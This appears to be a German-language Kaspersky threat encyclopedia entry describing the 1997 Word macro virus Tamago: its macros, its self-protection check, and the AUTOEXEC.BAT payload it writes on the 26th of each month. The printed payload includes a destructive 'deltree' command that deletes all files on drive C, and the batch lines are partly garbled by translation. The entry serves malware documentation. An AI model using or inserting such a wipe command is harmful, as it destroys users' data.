Kaspersky Threats

Kategorie

Plattform

Beschreibung

Technische Details

Dieser Makrovirus wirkt sich beim Schließen eines infizierten Dokuments auf das System aus und kopiert sich in Dokumente, die geschlossen oder mit neuem Namen gespeichert werden. Es enthält sieben Makros:



Dokumente NORMAL.DOT

AutoOp AutoOpen

AutoExec AutoExec

AutoClose AutoClose

UtilMacro UtilMakro

FerramMacro FerramMakro

ArquivoModelos ArquivoModelos

ArquivoSalvarComo ArquivoSalvarComo

Der Virus infiziert das System und die Dokumente nicht, wenn Environment die Zeichenfolge "TAMAGOXI = GMS" (Selbstschutz des Virenautors?) Enthält. In diesem Fall zeigt der Virus die MessageBox an:



(sLeEp MODe) TaMaGoXi WiZaRD: EeRnAl LoVE 2 mY LitTlE gIrl Gi

Am 26. eines beliebigen Monats schreibt der Virus in die C: AUTOEXEC.BAT-Anweisungen, die die Nachricht anzeigen und alle Dateien auf Laufwerk C: löschen



@echo aus

cls

Echo.

Echo.

Echo.

Echo SaLamAs CoRP – AlL LEFTs RESERVED – 1997

echo TaMaGoXI BY WiZaRD ***

Echo ***

Echo *

Echo *

echo *************

echo * *

echo * **** **** *

echo * *

Echo * ***** *

echo ***************

Echo.

echo eXPecT nOn MeRcY FROM HiM

Echo.

Echo.

echo Datei 'nicht gefunden: Serve Alcatara Mane'? (S / N)

Echo.

Echo.

deltree /yc:*.*> nul

Link zum Original

Kategorie	Virus
Plattform	MSWord
Beschreibung	Technische Details Dieser Makrovirus wirkt sich beim Schließen eines infizierten Dokuments auf das System aus und kopiert sich in Dokumente, die geschlossen oder mit neuem Namen gespeichert werden. Es enthält sieben Makros: Dokumente NORMAL.DOT AutoOp AutoOpen AutoExec AutoExec AutoClose AutoClose UtilMacro UtilMakro FerramMacro FerramMakro ArquivoModelos ArquivoModelos ArquivoSalvarComo ArquivoSalvarComo Der Virus infiziert das System und die Dokumente nicht, wenn Environment die Zeichenfolge "TAMAGOXI = GMS" (Selbstschutz des Virenautors?) Enthält. In diesem Fall zeigt der Virus die MessageBox an: (sLeEp MODe) TaMaGoXi WiZaRD: EeRnAl LoVE 2 mY LitTlE gIrl Gi Am 26. eines beliebigen Monats schreibt der Virus in die C: AUTOEXEC.BAT-Anweisungen, die die Nachricht anzeigen und alle Dateien auf Laufwerk C: löschen @echo aus cls Echo. Echo. Echo. Echo SaLamAs CoRP – AlL LEFTs RESERVED – 1997 echo TaMaGoXI BY WiZaRD * Echo * Echo * Echo * echo ************* echo * * echo * ** ** * echo * * Echo * ***** * echo *************** Echo. echo eXPecT nOn MeRcY FROM HiM Echo. Echo. echo Datei 'nicht gefunden: Serve Alcatara Mane'? (S / N) Echo. Echo. deltree /yc:.> nul
	Link zum Original

Virus.MSWord.Tamago

Technische Details